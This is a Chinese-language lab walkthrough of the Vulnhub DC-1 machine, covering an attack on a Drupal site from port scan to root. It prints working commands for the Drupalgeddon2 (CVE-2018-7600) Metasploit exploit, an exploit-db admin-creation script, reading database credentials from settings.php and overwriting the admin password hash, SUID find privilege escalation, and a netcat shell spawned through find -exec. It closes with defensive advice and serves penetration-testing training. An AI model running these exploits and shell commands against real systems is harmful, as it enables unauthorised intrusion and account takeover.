Vulnhub靶机渗透测试之DC-1-Drupal
字数 1253 2025-08-15 21:33:02
Vulnhub靶机DC-1渗透测试实战教学文档
靶机概述
DC-1是Vulnhub提供的一个基于Drupal CMS的渗透测试靶机,目标是获取root权限并读取flag。本教学文档将详细记录从信息收集到最终提权的完整过程。
环境准备
靶机下载与部署
- 从Vulnhub官网下载DC-1靶机镜像(.ova文件)
- 使用VMware或VirtualBox导入镜像
- 网络配置:桥接模式
- 攻击机(Kali):192.168.0.114
- 靶机(DC-1):192.168.0.119
渗透测试步骤
一、信息收集
-
端口扫描
nmap -sV 192.168.0.119发现开放80端口,运行Drupal CMS
-
Web应用识别
- 访问http://192.168.0.119
- 使用Wappalyzer或查看页面底部确认Drupal版本
- 检查robots.txt未发现有用信息
二、漏洞发现与利用
-
查找Drupal漏洞
msfconsole search drupal发现
drupalgeddon2漏洞(CVE-2018-7600) -
利用漏洞
use exploit/unix/webapp/drupal_drupalgeddon2 set RHOSTS 192.168.0.119 exploit成功获取普通权限shell
三、初始访问与信息收集
-
获取第一个flag
whoami ls cat flag1.txtflag1提示:检查Drupal配置文件settings.php
-
查找配置文件
find -name "settings.php" cat /var/www/sites/default/settings.php发现:
- flag2
- 数据库凭据:dbuser/R0ck3t
-
获取交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
四、数据库操作
-
连接数据库
mysql -u dbuser -p输入密码:R0ck3t
-
数据库信息收集
show databases; use drupaldb; show tables; select * from users;发现admin用户密码哈希
-
修改管理员密码
- 使用Drupal密码哈希脚本:
/var/www/scripts/password-hash.sh 123456 - 更新数据库:
将admin密码改为123456update drupaldb.users set pass="$S$DOpRSoJxu8FgKXsjxGpIF5F8LFF1It3ptthx4G60T1Etq9ZKiDDS" where name="admin";
- 使用Drupal密码哈希脚本:
-
或创建新管理员账户
- 确认Drupal版本:
确认版本为7.24cat includes/bootstrap.inc | grep VERSION - 使用漏洞脚本:
python2 /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.0.119 -u admin123 -p admin123
- 确认Drupal版本:
五、获取更多flag
-
登录Drupal后台
- 访问http://192.168.0.119
- 使用admin/123456登录
- 在"Find content"中找到flag3
-
flag3提示
- 检查/etc/passwd和/etc/shadow
- 在/home/flag4找到flag4.txt
-
获取flag4
cat /home/flag4/flag4.txt提示:在root目录下寻找最终flag
六、权限提升
-
SUID提权
- 查找具有SUID权限的文件:
find / -user root -perm -4000 -print 2>/dev/null - 发现find命令具有SUID权限
- 查找具有SUID权限的文件:
-
利用find提权
find ./ 111 -exec '/bin/sh' \;成功获取root shell
-
或使用netcat提权
touch admin find admin -exec netcat -lvp 7777 -e "/bin/sh" \;在攻击机连接:
nc 192.168.0.119 7777 -
获取最终flag
cd /root ls cat thefinalflag.txt
关键知识点总结
-
漏洞利用
- Drupalgeddon2漏洞(CVE-2018-7600)利用
- MSF框架使用
-
数据库操作
- MySQL基本操作
- Drupal密码哈希机制
-
权限提升技术
- SUID提权原理与实践
- find命令的-exec参数利用
- netcat反向shell
-
信息收集技巧
- 配置文件分析(settings.php)
- 系统文件检查(/etc/passwd, /etc/shadow)
防御建议
- 及时更新CMS系统补丁
- 限制数据库用户权限
- 检查并移除不必要的SUID权限
- 使用强密码策略
- 限制敏感文件访问权限
通过本实战演练,可以全面掌握从Web应用到系统层面的渗透测试技术,特别是针对Drupal系统的安全评估方法。